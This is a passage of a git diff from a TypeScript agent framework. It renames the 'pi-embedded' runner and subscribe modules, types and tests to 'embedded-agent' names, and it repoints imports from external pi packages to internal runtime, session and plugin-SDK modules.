Pi already truncates tool results aggressively when serializing old history + * The session runtime already truncates tool results aggressively when serializing old history * for compaction summaries. For the live request path we still keep a bounded * request-local ceiling so oversized tool output cannot dominate the next turn. */ diff --git a/src/agents/pi-embedded-runner/tool-schema-runtime.test.ts b/src/agents/embedded-agent-runner/tool-schema-runtime.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/tool-schema-runtime.test.ts rename to src/agents/embedded-agent-runner/tool-schema-runtime.test.ts diff --git a/src/agents/pi-embedded-runner/tool-schema-runtime.ts b/src/agents/embedded-agent-runner/tool-schema-runtime.ts similarity index 98% rename from src/agents/pi-embedded-runner/tool-schema-runtime.ts rename to src/agents/embedded-agent-runner/tool-schema-runtime.ts index 16793dc60ef..8feb8e22bde 100644 --- a/src/agents/pi-embedded-runner/tool-schema-runtime.ts +++ b/src/agents/embedded-agent-runner/tool-schema-runtime.ts @@ -1,4 +1,3 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; import type { TSchema } from "typebox"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import type { ProviderRuntimePluginHandle } from "../../plugins/provider-hook-runtime.js"; @@ -8,6 +7,7 @@ import { normalizeProviderToolSchemasWithPlugin, } from "../../plugins/provider-runtime.js"; import type { ProviderToolSchemaDiagnostic } from "../../plugins/types.js"; +import type { AgentTool } from "../runtime/index.js"; import type { AnyAgentTool } from "../tools/common.js"; import { log } from "./logger.js"; diff --git a/src/agents/pi-embedded-runner/tool-split.ts b/src/agents/embedded-agent-runner/tool-split.ts similarity index 70% rename from src/agents/pi-embedded-runner/tool-split.ts rename to src/agents/embedded-agent-runner/tool-split.ts index 3233e4b8d1c..1f92431b1f6 100644 --- a/src/agents/pi-embedded-runner/tool-split.ts +++ b/src/agents/embedded-agent-runner/tool-split.ts @@ -1,6 +1,6 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; -import { toToolDefinitions } from "../pi-tool-definition-adapter.js"; -import type { HookContext } from "../pi-tools.before-tool-call.js"; +import { toToolDefinitions } from "../agent-tool-definition-adapter.js"; +import type { HookContext } from "../agent-tools.before-tool-call.js"; +import type { AgentTool } from "../runtime/index.js"; // We always pass tools via `customTools` so our policy filtering, sandbox integration, // and extended toolset remain consistent across providers. diff --git a/src/agents/pi-embedded-runner/transcript-file-state.test.ts b/src/agents/embedded-agent-runner/transcript-file-state.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/transcript-file-state.test.ts rename to src/agents/embedded-agent-runner/transcript-file-state.test.ts diff --git a/src/agents/pi-embedded-runner/transcript-file-state.ts b/src/agents/embedded-agent-runner/transcript-file-state.ts similarity index 98% rename from src/agents/pi-embedded-runner/transcript-file-state.ts rename to src/agents/embedded-agent-runner/transcript-file-state.ts index f57369a7b68..f52d8f7de31 100644 --- a/src/agents/pi-embedded-runner/transcript-file-state.ts +++ b/src/agents/embedded-agent-runner/transcript-file-state.ts @@ -1,19 +1,18 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; +import { appendRegularFile } from "../../infra/fs-safe.js"; +import { privateFileStore } from "../../infra/private-file-store.js"; import { buildSessionContext, - CURRENT_SESSION_VERSION, migrateSessionEntries, parseSessionEntries, type FileEntry, type SessionContext, type SessionEntry, type SessionHeader, -} from "@earendil-works/pi-coding-agent"; -import { appendRegularFile } from "../../infra/fs-safe.js"; -import { privateFileStore } from "../../infra/private-file-store.js"; -import { isRecord } from "../../shared/record-coerce.js"; +} from "../sessions/index.js"; type BranchSummaryEntry = Extract; type CompactionEntry = Extract; @@ -48,6 +47,10 @@ const repairableToolCallContentTypes = new Set([ const invalidJsonlSlotType = "__openclaw_invalid_jsonl_slot"; +function isRecord(value: unknown): value is Record { + return Boolean(value) && typeof value === "object" && !Array.isArray(value); +} + function isString(value: unknown): value is string { return typeof value === "string" && value.trim() !== ""; } diff --git a/src/agents/pi-embedded-runner/transcript-rewrite.test.ts b/src/agents/embedded-agent-runner/transcript-rewrite.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/transcript-rewrite.test.ts rename to src/agents/embedded-agent-runner/transcript-rewrite.test.ts index b0a614f61bd..19a3be39587 100644 --- a/src/agents/pi-embedded-runner/transcript-rewrite.test.ts +++ b/src/agents/embedded-agent-runner/transcript-rewrite.test.ts @@ -1,8 +1,8 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { buildSessionWriteLockModuleMock } from "../../test-utils/session-write-lock-module-mock.js"; diff --git a/src/agents/pi-embedded-runner/transcript-rewrite.ts b/src/agents/embedded-agent-runner/transcript-rewrite.ts similarity index 98% rename from src/agents/pi-embedded-runner/transcript-rewrite.ts rename to src/agents/embedded-agent-runner/transcript-rewrite.ts index 88d90128e64..408ad3e3687 100644 --- a/src/agents/pi-embedded-runner/transcript-rewrite.ts +++ b/src/agents/embedded-agent-runner/transcript-rewrite.ts @@ -1,5 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import type { TranscriptRewriteReplacement, TranscriptRewriteRequest, @@ -7,12 +5,14 @@ import type { } from "../../context-engine/types.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { emitSessionTranscriptUpdate } from "../../sessions/transcript-events.js"; +import type { AgentMessage } from "../runtime/index.js"; import { getRawSessionAppendMessage } from "../session-raw-append-message.js"; import { acquireSessionWriteLock, type SessionWriteLockAcquireTimeoutConfig, resolveSessionWriteLockOptions, } from "../session-write-lock.js"; +import { SessionManager } from "../sessions/index.js"; import { log } from "./logger.js"; import { persistTranscriptStateMutation, diff --git a/src/agents/pi-embedded-runner/types.ts b/src/agents/embedded-agent-runner/types.ts similarity index 96% rename from src/agents/pi-embedded-runner/types.ts rename to src/agents/embedded-agent-runner/types.ts index 50b14d4d0b6..651f68e2a03 100644 --- a/src/agents/pi-embedded-runner/types.ts +++ b/src/agents/embedded-agent-runner/types.ts @@ -6,14 +6,14 @@ import type { } from "../../config/sessions/types.js"; import type { DiagnosticTraceContext } from "../../infra/diagnostic-trace-context.js"; import type { AcceptedSessionSpawn } from "../accepted-session-spawn.js"; -import type { FallbackAttempt } from "../model-fallback.types.js"; import type { MessagingToolSend, MessagingToolSourceReplyPayload, -} from "../pi-embedded-messaging.types.js"; +} from "../embedded-agent-messaging.types.js"; +import type { FallbackAttempt } from "../model-fallback.types.js"; import type { AgentRunTimeoutPhase } from "../run-timeout-attribution.js"; -export type EmbeddedPiAgentMeta = { +export type EmbeddedAgentMeta = { sessionId: string; sessionFile?: string; provider: string; @@ -133,9 +133,9 @@ export type EmbeddedRunFailureSignal = { fatalForCron: true; }; -export type EmbeddedPiRunMeta = { +export type EmbeddedAgentRunMeta = { durationMs: number; - agentMeta?: EmbeddedPiAgentMeta; + agentMeta?: EmbeddedAgentMeta; aborted?: boolean; systemPromptReport?: SessionSystemPromptReport; finalPromptText?: string; @@ -175,7 +175,7 @@ export type EmbeddedPiRunMeta = { contextManagement?: ContextManagementTrace; }; -export type EmbeddedPiRunResult = { +export type EmbeddedAgentRunResult = { payloads?: Array<{ text?: string; mediaUrl?: string; @@ -187,7 +187,7 @@ export type EmbeddedPiRunResult = { trustedLocalMedia?: boolean; channelData?: Record; }>; - meta: EmbeddedPiRunMeta; + meta: EmbeddedAgentRunMeta; diagnosticTrace?: DiagnosticTraceContext; // True if a messaging tool successfully sent a message. // Used to suppress agent's confirmation text. @@ -210,7 +210,7 @@ export type EmbeddedPiRunResult = { successfulCronAdds?: number; }; -export type EmbeddedPiCompactResult = { +export type EmbeddedAgentCompactResult = { ok: boolean; compacted: boolean; reason?: string; diff --git a/src/agents/pi-embedded-runner/usage-accumulator.test.ts b/src/agents/embedded-agent-runner/usage-accumulator.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/usage-accumulator.test.ts rename to src/agents/embedded-agent-runner/usage-accumulator.test.ts diff --git a/src/agents/pi-embedded-runner/usage-accumulator.ts b/src/agents/embedded-agent-runner/usage-accumulator.ts similarity index 100% rename from src/agents/pi-embedded-runner/usage-accumulator.ts rename to src/agents/embedded-agent-runner/usage-accumulator.ts diff --git a/src/agents/pi-embedded-runner/usage-reporting.test.ts b/src/agents/embedded-agent-runner/usage-reporting.test.ts similarity index 91% rename from src/agents/pi-embedded-runner/usage-reporting.test.ts rename to src/agents/embedded-agent-runner/usage-reporting.test.ts index be74c4a2ea0..1782ddb8039 100644 --- a/src/agents/pi-embedded-runner/usage-reporting.test.ts +++ b/src/agents/embedded-agent-runner/usage-reporting.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { makeAttemptResult } from "./run.overflow-compaction.fixture.js"; import { @@ -9,7 +9,7 @@ import { } from "./run.overflow-compaction.harness.js"; import type { EmbeddedRunAttemptResult } from "./run/types.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; function makeAssistantMessage( overrides: Partial = {}, @@ -35,9 +35,9 @@ function firstAttemptInput(): Record { return call[0] as Record; } -describe("runEmbeddedPiAgent usage reporting", () => { +describe("runEmbeddedAgent usage reporting", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -52,7 +52,7 @@ describe("runEmbeddedPiAgent usage reporting", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", @@ -75,7 +75,7 @@ describe("runEmbeddedPiAgent usage reporting", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", @@ -101,7 +101,7 @@ describe("runEmbeddedPiAgent usage reporting", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", @@ -129,7 +129,7 @@ describe("runEmbeddedPiAgent usage reporting", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", @@ -172,7 +172,7 @@ describe("runEmbeddedPiAgent usage reporting", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", @@ -193,7 +193,7 @@ describe("runEmbeddedPiAgent usage reporting", () => { expect(usage?.total).toBe(200); }); - it("reports the resolved model provider when PI marks the assistant message as pi", async () => { + it("reports the resolved model provider when OpenClaw marks the assistant message as the native runtime", async () => { mockedResolveModelAsync.mockResolvedValueOnce({ model: { id: "openai/gpt-5.4", @@ -211,15 +211,15 @@ describe("runEmbeddedPiAgent usage reporting", () => { makeAttemptResult({ assistantTexts: ["Response 1"], lastAssistant: makeAssistantMessage({ - provider: "pi", - model: "pi", + provider: "openclaw", + model: "openclaw", usage: { input: 100, output: 50, total: 150 } as unknown as AssistantMessage["usage"], }), attemptUsage: { input: 100, output: 50, total: 150 }, }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", diff --git a/src/agents/pi-embedded-runner/utils.ts b/src/agents/embedded-agent-runner/utils.ts similarity index 78% rename from src/agents/pi-embedded-runner/utils.ts rename to src/agents/embedded-agent-runner/utils.ts index bf0b44362da..3f032a76ef2 100644 --- a/src/agents/pi-embedded-runner/utils.ts +++ b/src/agents/embedded-agent-runner/utils.ts @@ -1,5 +1,5 @@ -import type { ThinkingLevel } from "@earendil-works/pi-agent-core"; import type { ReasoningLevel, ThinkLevel } from "../../auto-reply/thinking.js"; +import type { ThinkingLevel } from "../runtime/index.js"; export function normalizeContextTokenBudget(value: unknown): number | undefined { return typeof value === "number" && Number.isFinite(value) && value > 0 @@ -8,14 +8,14 @@ export function normalizeContextTokenBudget(value: unknown): number | undefined } export function mapThinkingLevel(level?: ThinkLevel): ThinkingLevel { - // pi-agent-core supports "xhigh"; OpenClaw enables it for specific models. + // agent runtime supports "xhigh"; OpenClaw enables it for specific models. if (!level) { return "off"; } if (level === "max") { return "xhigh"; } - // "adaptive" maps to "medium" at the pi-agent-core layer. The Pi SDK + // "adaptive" maps to "medium" at the agent runtime layer. The provider adapter // provider then translates this to `thinking.type: "adaptive"` with // `output_config.effort: "medium"` for models that support it (Opus 4.6, // Sonnet 4.6). diff --git a/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts b/src/agents/embedded-agent-runner/wait-for-idle-before-flush.ts similarity index 100% rename from src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts rename to src/agents/embedded-agent-runner/wait-for-idle-before-flush.ts diff --git a/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts b/src/agents/embedded-agent-subscribe.block-reply-rejections.test.ts similarity index 93% rename from src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts rename to src/agents/embedded-agent-subscribe.block-reply-rejections.test.ts index 79fbd250f60..43fcde12e8b 100644 --- a/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts +++ b/src/agents/embedded-agent-subscribe.block-reply-rejections.test.ts @@ -4,14 +4,14 @@ import { emitAssistantTextDelta, emitAssistantTextEnd, emitMessageStartAndEndForAssistantText, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; const waitForAsyncCallbacks = async () => { await Promise.resolve(); await new Promise((resolve) => setImmediate(resolve)); }; -describe("subscribeEmbeddedPiSession block reply rejections", () => { +describe("subscribeEmbeddedAgentSession block reply rejections", () => { const unhandledRejections: unknown[] = []; const onUnhandledRejection = (reason: unknown) => { unhandledRejections.push(reason); diff --git a/src/agents/pi-embedded-subscribe.code-span-awareness.test.ts b/src/agents/embedded-agent-subscribe.code-span-awareness.test.ts similarity index 89% rename from src/agents/pi-embedded-subscribe.code-span-awareness.test.ts rename to src/agents/embedded-agent-subscribe.code-span-awareness.test.ts index 4efa112161b..589d264155d 100644 --- a/src/agents/pi-embedded-subscribe.code-span-awareness.test.ts +++ b/src/agents/embedded-agent-subscribe.code-span-awareness.test.ts @@ -2,15 +2,15 @@ import { describe, expect, it, vi } from "vitest"; import { createStubSessionHarness, emitAssistantTextDelta, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; -describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => { +describe("subscribeEmbeddedAgentSession thinking tag code span awareness", () => { function createPartialReplyHarness() { const { session, emit } = createStubSessionHarness(); const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onPartialReply, diff --git a/src/agents/pi-embedded-subscribe.compaction-test-helpers.ts b/src/agents/embedded-agent-subscribe.compaction-test-helpers.ts similarity index 100% rename from src/agents/pi-embedded-subscribe.compaction-test-helpers.ts rename to src/agents/embedded-agent-subscribe.compaction-test-helpers.ts diff --git a/src/agents/pi-embedded-subscribe.e2e-harness.ts b/src/agents/embedded-agent-subscribe.e2e-harness.ts similarity index 86% rename from src/agents/pi-embedded-subscribe.e2e-harness.ts rename to src/agents/embedded-agent-subscribe.e2e-harness.ts index 0b522f6754c..1a1dfb14d03 100644 --- a/src/agents/pi-embedded-subscribe.e2e-harness.ts +++ b/src/agents/embedded-agent-subscribe.e2e-harness.ts @@ -1,12 +1,12 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import { expect } from "vitest"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +import type { AssistantMessage } from "../llm/types.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; -type SubscribeEmbeddedPiSession = typeof subscribeEmbeddedPiSession; -type SubscribeEmbeddedPiSessionParams = Parameters[0]; -type PiSession = Parameters[0]["session"]; -type OnBlockReply = NonNullable; -type BlockReplyChunking = NonNullable; +type SubscribeEmbeddedAgentSession = typeof subscribeEmbeddedAgentSession; +type SubscribeEmbeddedAgentSessionParams = Parameters[0]; +type EmbeddedAgentSession = Parameters[0]["session"]; +type OnBlockReply = NonNullable; +type BlockReplyChunking = NonNullable; export const THINKING_TAG_CASES = [ { tag: "think", open: "", close: "" }, @@ -17,7 +17,7 @@ export const THINKING_TAG_CASES = [ ] as const; export function createStubSessionHarness(): { - session: PiSession; + session: EmbeddedAgentSession; emit: (evt: unknown) => void; } { let handler: ((evt: unknown) => void) | undefined; @@ -26,24 +26,24 @@ export function createStubSessionHarness(): { handler = fn; return () => {}; }, - } as unknown as PiSession; + } as unknown as EmbeddedAgentSession; return { session, emit: (evt: unknown) => handler?.(evt) }; } export function createSubscribedSessionHarness( - params: Omit[0], "session"> & { - sessionExtras?: Partial; + params: Omit[0], "session"> & { + sessionExtras?: Partial; }, ): { emit: (evt: unknown) => void; - session: PiSession; - subscription: ReturnType; + session: EmbeddedAgentSession; + subscription: ReturnType; } { const { sessionExtras, ...subscribeParams } = params; const { session, emit } = createStubSessionHarness(); const mergedSession = Object.assign(session, sessionExtras ?? {}); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ ...subscribeParams, trustedLocalMediaToolNames: subscribeParams.trustedLocalMediaToolNames ?? subscribeParams.builtinToolNames, @@ -59,7 +59,7 @@ export function createParagraphChunkedBlockReplyHarness(params: { }): { emit: (evt: unknown) => void; onBlockReply: OnBlockReply; - subscription: ReturnType; + subscription: ReturnType; } { const onBlockReply: OnBlockReply = params.onBlockReply ?? (() => {}); const { emit, subscription } = createSubscribedSessionHarness({ @@ -81,7 +81,7 @@ export function createTextEndBlockReplyHarness(params?: { }): { emit: (evt: unknown) => void; onBlockReply: OnBlockReply; - subscription: ReturnType; + subscription: ReturnType; } { const onBlockReply: OnBlockReply = params?.onBlockReply ?? (() => {}); const { emit, subscription } = createSubscribedSessionHarness({ diff --git a/src/agents/pi-embedded-subscribe.handlers.compaction.runtime.ts b/src/agents/embedded-agent-subscribe.handlers.compaction.runtime.ts similarity index 100% rename from src/agents/pi-embedded-subscribe.handlers.compaction.runtime.ts rename to src/agents/embedded-agent-subscribe.handlers.compaction.runtime.ts diff --git a/src/agents/pi-embedded-subscribe.handlers.compaction.test.ts b/src/agents/embedded-agent-subscribe.handlers.compaction.test.ts similarity index 96% rename from src/agents/pi-embedded-subscribe.handlers.compaction.test.ts rename to src/agents/embedded-agent-subscribe.handlers.compaction.test.ts index b0cdb62d04c..42d28d0563b 100644 --- a/src/agents/pi-embedded-subscribe.handlers.compaction.test.ts +++ b/src/agents/embedded-agent-subscribe.handlers.compaction.test.ts @@ -7,13 +7,13 @@ import { readCompactionCount, seedSessionStore, waitForCompactionCount, -} from "./pi-embedded-subscribe.compaction-test-helpers.js"; +} from "./embedded-agent-subscribe.compaction-test-helpers.js"; import { handleCompactionEnd, handleCompactionStart, reconcileSessionStoreCompactionCountAfterSuccess, -} from "./pi-embedded-subscribe.handlers.compaction.js"; -import type { EmbeddedPiSubscribeContext } from "./pi-embedded-subscribe.handlers.types.js"; +} from "./embedded-agent-subscribe.handlers.compaction.js"; +import type { EmbeddedAgentSubscribeContext } from "./embedded-agent-subscribe.handlers.types.js"; function createCompactionContext(params: { storePath: string; @@ -21,7 +21,7 @@ function createCompactionContext(params: { agentId?: string; initialCount: number; info?: (message: string, meta?: Record) => void; -}): EmbeddedPiSubscribeContext { +}): EmbeddedAgentSubscribeContext { let compactionCount = params.initialCount; return { params: { @@ -53,7 +53,7 @@ function createCompactionContext(params: { getCompactionCount: () => compactionCount, noteCompactionTokensAfter: vi.fn(), getLastCompactionTokensAfter: vi.fn(() => undefined), - } as unknown as EmbeddedPiSubscribeContext; + } as unknown as EmbeddedAgentSubscribeContext; } function loggedInfoMetaAt(info: ReturnType, index: number): Record { diff --git a/src/agents/pi-embedded-subscribe.handlers.compaction.ts b/src/agents/embedded-agent-subscribe.handlers.compaction.ts similarity index 92% rename from src/agents/pi-embedded-subscribe.handlers.compaction.ts rename to src/agents/embedded-agent-subscribe.handlers.compaction.ts index 0daa5fbf75e..c7398c6278b 100644 --- a/src/agents/pi-embedded-subscribe.handlers.compaction.ts +++ b/src/agents/embedded-agent-subscribe.handlers.compaction.ts @@ -1,7 +1,7 @@ -import type { AgentSessionEvent } from "@earendil-works/pi-coding-agent"; import { emitAgentEvent } from "../infra/agent-events.js"; import { getGlobalHookRunner } from "../plugins/hook-runner-global.js"; -import type { EmbeddedPiSubscribeContext } from "./pi-embedded-subscribe.handlers.types.js"; +import type { EmbeddedAgentSubscribeContext } from "./embedded-agent-subscribe.handlers.types.js"; +import type { AgentSessionEvent } from "./sessions/index.js"; import { makeZeroUsageSnapshot } from "./usage.js"; type SessionCompactionStartEvent = Extract; @@ -35,7 +35,10 @@ function compactionLogKind(reason: CompactionReason): string { return reason === "manual" ? "manual compaction" : "auto-compaction"; } -export function handleCompactionStart(ctx: EmbeddedPiSubscribeContext, evt: CompactionStartEvent) { +export function handleCompactionStart( + ctx: EmbeddedAgentSubscribeContext, + evt: CompactionStartEvent, +) { const reason = normalizeCompactionReason(evt.reason); const kind = compactionLogKind(reason); ctx.state.compactionInFlight = true; @@ -77,7 +80,7 @@ export function handleCompactionStart(ctx: EmbeddedPiSubscribeContext, evt: Comp } } -export function handleCompactionEnd(ctx: EmbeddedPiSubscribeContext, evt: CompactionEndEvent) { +export function handleCompactionEnd(ctx: EmbeddedAgentSubscribeContext, evt: CompactionEndEvent) { const reason = normalizeCompactionReason(evt.reason); const kind = compactionLogKind(reason); ctx.state.compactionInFlight = false; @@ -174,11 +177,11 @@ export async function reconcileSessionStoreCompactionCountAfterSuccess(params: { now?: number; }): Promise { const { reconcileSessionStoreCompactionCountAfterSuccess: reconcile } = - await import("./pi-embedded-subscribe.handlers.compaction.runtime.js"); + await import("./embedded-agent-subscribe.handlers.compaction.runtime.js"); return reconcile(params); } -function clearStaleAssistantUsageOnSessionMessages(ctx: EmbeddedPiSubscribeContext): void { +function clearStaleAssistantUsageOnSessionMessages(ctx: EmbeddedAgentSubscribeContext): void { const messages = ctx.params.session.messages; if (!Array.isArray(messages)) { return; @@ -191,7 +194,7 @@ function clearStaleAssistantUsageOnSessionMessages(ctx: EmbeddedPiSubscribeConte if (candidate.role !== "assistant") { continue; } - // pi-coding-agent expects assistant usage to exist when computing context usage. + // session runtime expects assistant usage to exist when computing context usage. // Reset stale snapshots to zeros instead of deleting the field. candidate.usage = makeZeroUsageSnapshot(); } diff --git a/src/agents/pi-embedded-subscribe.handlers.lifecycle.test.ts b/src/agents/embedded-agent-subscribe.handlers.lifecycle.test.ts similarity index 97% rename from src/agents/pi-embedded-subscribe.handlers.lifecycle.test.ts rename to src/agents/embedded-agent-subscribe.handlers.lifecycle.test.ts index f145a78322b..d6a1d55920a 100644 --- a/src/agents/pi-embedded-subscribe.handlers.lifecycle.test.ts +++ b/src/agents/embedded-agent-subscribe.handlers.lifecycle.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it, vi } from "vitest"; import { createInlineCodeState } from "../markdown/code-spans.js"; -import { handleAgentEnd } from "./pi-embedded-subscribe.handlers.lifecycle.js"; -import type { EmbeddedPiSubscribeContext } from "./pi-embedded-subscribe.handlers.types.js"; +import { handleAgentEnd } from "./embedded-agent-subscribe.handlers.lifecycle.js"; +import type { EmbeddedAgentSubscribeContext } from "./embedded-agent-subscribe.handlers.types.js"; const { emitAgentEventMock } = vi.hoisted(() => ({ emitAgentEventMock: vi.fn(), @@ -19,7 +19,7 @@ function createContext( onBlockReply?: ((payload: unknown) => void) | undefined; onBlockReplyFlush?: () => void | Promise; }, -): EmbeddedPiSubscribeContext { +): EmbeddedAgentSubscribeContext { const hasOnBlockReplyOverride = Boolean(overrides && "onBlockReply" in overrides); const onBlockReply = hasOnBlockReplyOverride ? overrides?.onBlockReply : vi.fn(); const emitBlockReply = vi.fn(); @@ -34,7 +34,7 @@ function createContext( onBlockReplyFlush: overrides?.onBlockReplyFlush, }, state: { - lastAssistant: lastAssistant as EmbeddedPiSubscribeContext["state"]["lastAssistant"], + lastAssistant: lastAssistant as EmbeddedAgentSubscribeContext["state"]["lastAssistant"], pendingCompactionRetry: 0, pendingToolMediaUrls: [], pendingToolAudioAsVoice: false, @@ -53,10 +53,10 @@ function createContext( emitBlockReply, resolveCompactionRetry: vi.fn(), maybeResolveCompactionWait: vi.fn(), - } as unknown as EmbeddedPiSubscribeContext; + } as unknown as EmbeddedAgentSubscribeContext; } -async function handleAgentEndAndReadWarnMeta(ctx: EmbeddedPiSubscribeContext) { +async function handleAgentEndAndReadWarnMeta(ctx: EmbeddedAgentSubscribeContext) { await handleAgentEnd(ctx); const warn = vi.mocked(ctx.log.warn); @@ -81,7 +81,7 @@ function firstMockCall(mock: { mock: { calls: ReadonlyArray { +function firstWarnMeta(ctx: EmbeddedAgentSubscribeContext): Record { return readRecord(firstMockCall(vi.mocked(ctx.log.warn))[1]); } diff --git a/src/agents/pi-embedded-subscribe.handlers.lifecycle.ts b/src/agents/embedded-agent-subscribe.handlers.lifecycle.ts similarity index 92% rename from src/agents/pi-embedded-subscribe.handlers.lifecycle.ts rename to src/agents/embedded-agent-subscribe.handlers.lifecycle.ts index 36bfabcbcf1..24ea909fec4 100644 --- a/src/agents/pi-embedded-subscribe.handlers.lifecycle.ts +++ b/src/agents/embedded-agent-subscribe.handlers.lifecycle.ts @@ -6,24 +6,24 @@ import { buildTextObservationFields, sanitizeForConsole, shouldSuppressRawErrorConsoleSuffix, -} from "./pi-embedded-error-observation.js"; -import { classifyFailoverReason, formatAssistantErrorText } from "./pi-embedded-helpers.js"; -import { hasCommittedMessagingToolDeliveryEvidence } from "./pi-embedded-runner/delivery-evidence.js"; -import { isIncompleteTerminalAssistantTurn } from "./pi-embedded-runner/run/incomplete-turn.js"; +} from "./embedded-agent-error-observation.js"; +import { classifyFailoverReason, formatAssistantErrorText } from "./embedded-agent-helpers.js"; +import { hasCommittedMessagingToolDeliveryEvidence } from "./embedded-agent-runner/delivery-evidence.js"; +import { isIncompleteTerminalAssistantTurn } from "./embedded-agent-runner/run/incomplete-turn.js"; import { consumePendingToolMediaReply, hasAssistantVisibleReply, -} from "./pi-embedded-subscribe.handlers.messages.js"; -import type { EmbeddedPiSubscribeContext } from "./pi-embedded-subscribe.handlers.types.js"; -import { isPromiseLike } from "./pi-embedded-subscribe.promise.js"; -import { isAssistantMessage } from "./pi-embedded-utils.js"; +} from "./embedded-agent-subscribe.handlers.messages.js"; +import type { EmbeddedAgentSubscribeContext } from "./embedded-agent-subscribe.handlers.types.js"; +import { isPromiseLike } from "./embedded-agent-subscribe.promise.js"; +import { isAssistantMessage } from "./embedded-agent-utils.js"; export { handleCompactionEnd, handleCompactionStart, -} from "./pi-embedded-subscribe.handlers.compaction.js"; +} from "./embedded-agent-subscribe.handlers.compaction.js"; -export function handleAgentStart(ctx: EmbeddedPiSubscribeContext) { +export function handleAgentStart(ctx: EmbeddedAgentSubscribeContext) { ctx.log.debug(`embedded run agent start: runId=${ctx.params.runId}`); emitAgentEvent({ runId: ctx.params.runId, @@ -39,7 +39,7 @@ export function handleAgentStart(ctx: EmbeddedPiSubscribeContext) { }); } -export function handleAgentEnd(ctx: EmbeddedPiSubscribeContext): void | Promise { +export function handleAgentEnd(ctx: EmbeddedAgentSubscribeContext): void | Promise { const lastAssistant = ctx.state.lastAssistant; const isError = isAssistantMessage(lastAssistant) && lastAssistant.stopReason === "error"; let lifecycleErrorText: string | undefined; diff --git a/src/agents/pi-embedded-subscribe.handlers.messages.test.ts b/src/agents/embedded-agent-subscribe.handlers.messages.test.ts similarity index 98% rename from src/agents/pi-embedded-subscribe.handlers.messages.test.ts rename to src/agents/embedded-agent-subscribe.handlers.messages.test.ts index 422a9a4b478..2ae510f92e8 100644 --- a/src/agents/pi-embedded-subscribe.handlers.messages.test.ts +++ b/src/agents/embedded-agent-subscribe.handlers.messages.test.ts @@ -12,13 +12,13 @@ import { readPendingToolMediaReply, recordPendingAssistantReplyDirectives, resolveSilentReplyFallbackText, -} from "./pi-embedded-subscribe.handlers.messages.js"; -import type { EmbeddedPiSubscribeContext } from "./pi-embedded-subscribe.handlers.types.js"; +} from "./embedded-agent-subscribe.handlers.messages.js"; +import type { EmbeddedAgentSubscribeContext } from "./embedded-agent-subscribe.handlers.types.js"; import { createOpenAiResponsesPartial, createOpenAiResponsesTextBlock, createOpenAiResponsesTextEvent as createTextUpdateEvent, -} from "./pi-embedded-subscribe.openai-responses.test-helpers.js"; +} from "./embedded-agent-subscribe.openai-responses.test-helpers.js"; function createMessageUpdateContext( params: { @@ -71,7 +71,7 @@ function createMessageUpdateContext( resetAssistantMessageState: params.resetAssistantMessageState ?? vi.fn(), recordAssistantUsage: vi.fn(), commitAssistantUsage: vi.fn(), - } as unknown as EmbeddedPiSubscribeContext; + } as unknown as EmbeddedAgentSubscribeContext; } function createMessageEndContext( @@ -138,7 +138,7 @@ function createMessageEndContext( 